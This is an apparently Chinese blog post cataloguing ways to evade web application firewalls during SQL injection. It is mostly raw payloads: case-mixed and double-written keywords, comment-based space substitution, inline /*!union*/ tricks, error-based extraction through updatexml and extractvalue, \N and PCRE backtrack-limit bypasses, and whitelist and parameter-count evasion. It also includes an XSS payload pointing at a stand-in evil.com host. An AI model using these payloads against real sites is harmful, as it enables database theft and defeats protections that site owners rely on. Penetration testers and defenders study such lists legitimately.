提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
文章目录
前言
提示:以下是本篇文章正文内容,下面案例可供参考
一、常见waf分类
二、绕过方法
1.大小写绕过
Or
aNd
2.双写绕过
oorr
anandd
aanndd这样的绕过是错误的(waf检测到第一个and时会把and删除,剩下的字母依然能 够组合成and绕过才算成功)
3.十六进制绕过
or ——> o\x72
4.ByPass模糊匹配
常用于过滤空格等
将空格替换为/*11*/ ,把11换成 !*/ 放入bp爆破
5.关键字内联
/*!union*/
/*!select*/
6.逻辑绕过
过滤代码 1 && (select user from users where user_id = 1) = 'admin'
绕过方式 1 && (select user from users limit 1) = 'admin'
7.生僻函数绕过
MySQL/PostgreSQL支持XML函数:Select UpdateXML(‘<script x=_></script> ’,’/script/@x/’,’src=//evil.com’);
?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql
?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
and 1=(updatexml(1,concat(0x5c,(select user()),0x5c),1))
and extractvalue(1, concat(0x5c, (select user()),0x5c))
8.\N绕过
id=\Nunion(select 1,schema_name,\Nfrom information_schema.schemata)
9.白名单绕过
利用 PHP 中的 PATH_INFO 问题,随便挑选一个白名单加在后面,可成功 bypas
当文件后缀名为js 、 jpg 、 png 等静态资源后缀请求,类似白名单机制, waf 为了检测效率,直接略过这样一些静态资 源文件名后缀的请求。
比如某 WAF ,默认情况下只能获取前 100 个参数进行检测,当提交第 101 个参数时,那么,将无法对攻击者提交的第 100 个以后的参数进行有效安全检测,从而绕过安全防御
10.PCRE绕过
PHP 的 pcre.backtrack_limit 限制利用
union/*aaaaaaaxN*/select
总结
未完待续